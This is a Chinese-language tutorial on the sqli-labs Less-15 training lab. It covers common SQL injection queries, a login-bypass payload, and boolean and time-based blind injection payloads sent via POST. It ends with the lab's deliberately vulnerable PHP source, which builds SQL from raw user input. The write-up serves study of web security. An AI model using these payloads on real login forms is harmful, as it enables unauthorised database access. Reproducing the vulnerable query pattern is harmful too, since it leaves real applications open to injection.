Abstract: 掌握 sqli-labs 每个关卡的注入原理,熟练使用手工注入和sqlmap 工具的使用,对源代码进行简单分析。

Table of Contents

  1. SQL 注入常用语句
    1. information_schema 表的应用
    2. UNION SELECT 联合查询
    3. 布尔盲注
    4. 时间盲注
  2. Less-15
    1. 手动注入
    2. 源码分析

SQL 注入常用语句

information_schema 表的应用

1
2
3
4
5
6
7
8
# 查询库名
SELECT schema_name FROM information_schema.schemata
# 查询表名
SELECT table_name FROM information_schema.tables WHERE table_schema='库名'
# 查询列名
SELECT column_name FROM information_schema.columns WHERE table_name='表名' AND table_schema='库名'
# 取出相应的数据
SELECT col1,col2 FROM `库名`.`表名`

UNION SELECT 联合查询

1
2
3
4
5
6
# 先确定字段数
ORDER BY 1,2,3,...,N
# 联合查询,确定页面能显示的位置
UNION SELECT 1,2,3,user(),version(),...,N
# 把要查询的 SQL 语句放在相应位置
UNION SELECT 1,2,3,/*放相应的 SQL 语句*/,5

布尔盲注

1
2
3
AND length(database()) > 0;
AND substr(database(), 1, 1)='t'
AND ascii(substr(database(), 1, 1)) > 0

时间盲注

1
2
# if 函数
AND if(bool, exp1, exp2) # bool 为真,则执行 exp1,为假则执行 exp2

Less-15

手动注入

  1. 打开首页如下图

  1. 在查看器中找到 form 表单的名称

  1. 使用 HackBarPOST 方式提交数据,随意输入用户名和密码,可以看出,页面提示登录失败。
1
uname=123&passwd=123&submit=submit

  1. 尝试使用万能密码登录,
1
uname=admin' or 1 #&passwd=123&submit=submit

可以看出登录成功。故我们可以利用用户名这块进行 sql 注入。找到注入点后,接下来我们来分析下到底该有哪种注入方式,首先,无论用户是否登录成功,页面均没有可用的数据以及数据库报错显示出来,所以 UNION SELECT 和报错注入显然是不合适的。根据登录成功与否显示的图片不同,故可以使用布尔盲注。

布尔盲注

1
uname=admin' and ascii(mid((select user()), 1, 1))>0 #&passwd=123&submit=submit

运用 asciimid 函数时,第一次应该先于 0 比较,因为这样能尽快判断出写入的语句是否存在错误,避免浪费过多时间。

1
uname=admin' and ascii(mid((select user()), 1, 1))>120 #&passwd=123&submit=submit

规范的做法应该是,第一步先用 count 判断库/表/字段个数,第二步是用 limit 控制把库/表/字段一一输出,然后用 length 判断每个名的长度,第三步用 asciimid 一一判断名中每个字符的大小。

时间盲注

1
if(length(user())>1, sleep(1), 1) #&passwd=123&submit=submit

可以看出,点击 Execute 后,页面等待一段时间后,显示登录错误,当我们把数字改到 14 后,点击 Execute ,页面立刻执行完毕,显示登录成功。其中原因是 length(user()) 的输出为 14,当 > 后面的数字小于 14 时,if() 函数执行 sleep(1) ,之后返回 0,然后执行如下的 sql 语句。

1
SELECT username, password FROM users WHERE username='admin' and 0 # and password=123 LIMIT 0,1

后面是永假条件,此时的 SQL 语句返回空。反之,

1
SELECT username, password FROM users WHERE username='admin' and 1 # and password=123 LIMIT 0,1

源码分析

对输入参数做处理的核心代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);


// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

?>